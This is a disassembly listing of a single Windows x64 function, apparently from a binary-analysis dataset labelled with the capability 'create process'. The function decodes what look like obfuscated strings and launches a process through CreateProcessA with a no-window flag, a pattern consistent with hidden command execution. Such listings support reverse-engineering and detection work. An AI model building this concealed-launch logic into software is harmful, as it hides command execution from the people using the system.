Function at 0x140018b80
Capabilities:
Create process on windows

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x150
mov rax, qword [0x1400d7090]
xor rax, rsp
mov qword [rsp + 0x148], rax
mov r14, rcx
mov qword [r11 - 0xe8], rcx
xor esi, esi
mov qword [r11 - 0x80], rsi
mov qword [r11 - 0x70], rsi
mov qword [r11 - 0x68], rsi
lea r8d, [rsi + 4]
lea rdx, str.__c
lea rcx, [r11 - 0x80]
call fcn.14000ad60
nop
mov rax, qword [r14 + 0x10]
cmp qword [r14 + 0x18], 8
jb 0x140018bed
mov rcx, qword [r14]
lea r8, [rcx + rax*2]
mov rdx, rcx
jmp 0x140018bf4
lea r8, [r14 + rax*2]
mov rdx, r14
lea rcx, [rsp + 0x108]
call fcn.14000a300
nop
lea r9, [rsp + 0x108]
cmp qword [rsp + 0x120], 0x10
cmovae r9, qword [rsp + 0x108]
mov rdi, qword [rsp + 0x118]
mov rcx, qword [rsp + 0xf8]
mov rdx, qword [rsp + 0x100]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x140018c77
lea rax, [rcx + rdi]
mov qword [rsp + 0xf8], rax
lea rbx, [rsp + 0xe8]
cmp rdx, 0x10
cmovae rbx, qword [rsp + 0xe8]
add rbx, rcx
mov r8, rdi
mov rdx, r9
mov rcx, rbx
call fcn.140074000
mov byte [rbx + rdi], 0
jmp 0x140018c8f
mov qword [rsp + 0x20], rdi
xor r8d, r8d
mov rdx, rdi
lea rcx, [rsp + 0xe8]
call fcn.14000b180
mov qword [rsp + 0xa8], rsi
mov qword [rsp + 0xb8], rsi
mov qword [rsp + 0xc0], rsi
mov r8d, 0x1c
lea rdx, str.gxi0_HVJiksPma43dMp1DNMm09MG
lea rcx, [rsp + 0xa8]
call fcn.14000ad60
nop
mov rcx, qword [rsp + 0xb8]
mov rdx, qword [rsp + 0xc0]
cmp rcx, rdx
jae 0x140018d00
lea rax, [rcx + 1]
mov qword [rsp + 0xb8], rax
lea rax, [rsp + 0xa8]
cmp rdx, 0x10
cmovae rax, qword [rsp + 0xa8]
mov word [rax + rcx], 0x50
jmp 0x140018d17
mov r9b, 0x50
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rsp + 0xa8]
call fcn.14000d770
mov rcx, qword [rsp + 0xb8]
mov rdx, qword [rsp + 0xc0]
mov rax, rdx
sub rax, rcx
cmp rax, 0xf
jb 0x140018d72
lea rax, [rcx + 0xf]
mov qword [rsp + 0xb8], rax
lea rbx, [rsp + 0xa8]
cmp rdx, 0x10
cmovae rbx, qword [rsp + 0xa8]
add rbx, rcx
mov r8d, reloc.WS2_32.dll_ntohs
lea rdx, str.ZXxTCZ1T0THAI
mov rcx, rbx
call fcn.140074000
mov byte [rbx + 0xf], 0
jmp 0x140018d96
mov qword [rsp + 0x20], reloc.WS2_32.dll_ntohs
lea r9, str.ZXxTCZ1T0THAI
xor r8d, r8d
lea edx, [r8 + 0xf]
lea rcx, [rsp + 0xa8]
call fcn.14000b180
lea r8, [rsp + 0xa8]
lea rdx, [rsp + 0x128]
call fcn.14000d000
nop
lea rdx, [rsp + 0x128]
lea rcx, [rsp + 0x60]
call fcn.140007780
lea rdx, [rsp + 0x128]
cmp qword [rsp + 0x140], 0x10
cmovae rdx, qword [rsp + 0x128]
mov rdi, 0xffffffffffffffff
mov rcx, rdi
inc rcx
cmp byte [rdx + rcx], 0
jne 0x140018de2
shr rcx, 3
mov dword [rsp + 0x20], ecx
mov r8, rax
lea rdx, [rsp + 0xc8]
call fcn.14000ca70
nop
lea rdx, [rsp + 0xc8]
mov r11, qword [rsp + 0xc8]
mov r10, qword [rsp + 0xe0]
cmp r10, 0x10
cmovae rdx, r11
mov r9, qword [rsp + 0xd8]
add rdx, r9
lea r8, [rsp + 0xc8]
cmp r10, 0x10
cmovae r8, r11
lea rax, [rsp + 0xc8]
cmovae rax, r11
sub rdx, r8
sub r8, rax
cmp r9, r8
jb 0x140019365
mov rax, r9
sub rax, r8
cmp rax, rdx
cmovb rdx, rax
cmp rdx, 0x5f
jne 0x140018eb3
lea rcx, [rsp + 0xc8]
cmp r10, 0x10
cmovae rcx, r11
add rcx, r8
movdqa xmm0, xmmword [0x1400c97b0]
movq rax, xmm0
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm0
movups xmmword [rcx + 0x20], xmm0
movups xmmword [rcx + 0x30], xmm0
movups xmmword [rcx + 0x40], xmm0
mov qword [rcx + 0x50], rax
mov dword [rcx + 0x58], eax
mov word [rcx + 0x5c], ax
mov byte [rcx + 0x5e], al
jmp 0x140018f4b
ja 0x140018ee2
mov ecx, 0x5f
sub rcx, rdx
mov rax, r10
sub rax, r9
cmp rcx, rax
jbe 0x140018ee2
mov qword [rsp + 0x20], rdx
mov r9, r8
mov rdx, rcx
lea rcx, [rsp + 0xc8]
call fcn.14001a0f0
jmp 0x140018f4b
mov rax, r9
sub rax, rdx
add rax, 0x5f
mov qword [rsp + 0xd8], rax
lea rbx, [rsp + 0xc8]
cmp r10, 0x10
cmovae rbx, r11
add rbx, r8
lea rcx, [rbx + 0x5f]
sub r9, r8
sub r9, rdx
lea r8, [r9 + 1]
add rdx, rbx
call fcn.140074000
movdqa xmm0, xmmword [0x1400c97b0]
movq rax, xmm0
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm0
movups xmmword [rbx + 0x20], xmm0
movups xmmword [rbx + 0x30], xmm0
movups xmmword [rbx + 0x40], xmm0
mov qword [rbx + 0x50], rax
mov dword [rbx + 0x58], eax
mov word [rbx + 0x5c], ax
mov byte [rbx + 0x5e], al
lea r9, [rsp + 0xc8]
cmp qword [rsp + 0xe0], 0x10
cmovae r9, qword [rsp + 0xc8]
lea r15, [rsp + 0xe8]
cmp qword [rsp + 0x100], 0x10
cmovae r15, qword [rsp + 0xe8]
mov qword [rsp + 0x88], rsi
mov qword [rsp + 0x98], rsi
mov qword [rsp + 0xa0], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x88], 0
mov rbx, rdi
inc rbx
cmp byte [r9 + rbx], 0
jne 0x140018fa6
lea rcx, [rsp + 0x88]
cmp rbx, 0xf
ja 0x140018fdb
mov qword [rsp + 0x98], rbx
mov r8, rbx
mov rdx, r9
call fcn.140074000
mov byte [rsp + rbx + 0x88], 0
jmp 0x140018ff0
mov qword [rsp + 0x20], rbx
xor r8d, r8d
mov rdx, rbx
call fcn.14000b180
nop dword [rax + rax]
inc rdi
cmp byte [r15 + rdi], 0
jne 0x140018ff0
mov rcx, qword [rsp + 0x98]
mov rdx, qword [rsp + 0xa0]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x14001904d
lea rax, [rcx + rdi]
mov qword [rsp + 0x98], rax
lea rbx, [rsp + 0x88]
cmp rdx, 0x10
cmovae rbx, qword [rsp + 0x88]
add rbx, rcx
mov r8, rdi
mov rdx, r15
mov rcx, rbx
call fcn.140074000
mov byte [rdi + rbx], 0
jmp 0x140019068
mov qword [rsp + 0x20], rdi
mov r9, r15
xor r8d, r8d
mov rdx, rdi
lea rcx, [rsp + 0x88]
call fcn.14000b180
lea rdx, [rsp + 0x88]
cmp qword [rsp + 0xa0], 0x10
cmovae rdx, qword [rsp + 0x88]
lea rax, [0x1400da438]
mov qword [rsp + 0x48], rax
lea rax, [0x1400d7d30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
nop
mov rdx, qword [rsp + 0xa0]
cmp rdx, 0x10
jb 0x140019106
inc rdx
mov rcx, qword [rsp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019101
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001936b
call fcn.14001d650
mov qword [rsp + 0x98], rsi
mov qword [rsp + 0xa0], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x88], 0
mov rdx, qword [rsp + 0xe0]
cmp rdx, 0x10
jb 0x140019165
inc rdx
mov rcx, qword [rsp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019160
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019371
call fcn.14001d650
mov qword [rsp + 0xd8], rsi
mov qword [rsp + 0xe0], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0xc8], 0
mov rdx, qword [rsp + 0x140]
cmp rdx, 0x10
jb 0x1400191c4
inc rdx
mov rcx, qword [rsp + 0x128]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400191bf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019377
call fcn.14001d650
movdqa xmm0, xmmword [0x1400c9780]
movdqu xmmword [rsp + 0x138], xmm0
mov byte [rsp + 0x128], 0
mov rdx, qword [rsp + 0xc0]
cmp rdx, 0x10
jb 0x140019220
inc rdx
mov rcx, qword [rsp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001921b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001937d
call fcn.14001d650
mov qword [rsp + 0xb8], rsi
mov qword [rsp + 0xc0], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0xa8], 0
mov rdx, qword [rsp + 0x120]
cmp rdx, 0x10
jb 0x14001927f
inc rdx
mov rcx, qword [rsp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001927a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019383
call fcn.14001d650
mov qword [rsp + 0x118], rsi
mov qword [rsp + 0x120], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x108], 0
mov rdx, qword [rsp + 0x100]
cmp rdx, 0x10
jb 0x1400192df
inc rdx
mov rcx, qword [rsp + 0xe8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400192d9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019389
call fcn.14001d650
nop
jmp 0x1400192eb
mov rdx, qword [r14 + 0x18]
cmp rdx, 8
jb 0x140019326
lea rdx, [rdx*2 + 2]
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x140019321
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14001935f
mov rcx, r8
call fcn.14001d650
mov qword [r14 + 0x10], rsi
mov qword [r14 + 0x18], 7
mov word [r14], si
mov rcx, qword [rsp + 0x148]
xor rcx, rsp
call fcn.14001d630
lea r11, [rsp + 0x150]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
call fcn.14007c430
nop
call fcn.14000a1a0
nop
call fcn.14007c430
nop
call fcn.14007c430
nop
call fcn.14007c430
nop
call fcn.14007c430
nop
call fcn.14007c430
nop
call fcn.14007c430
int3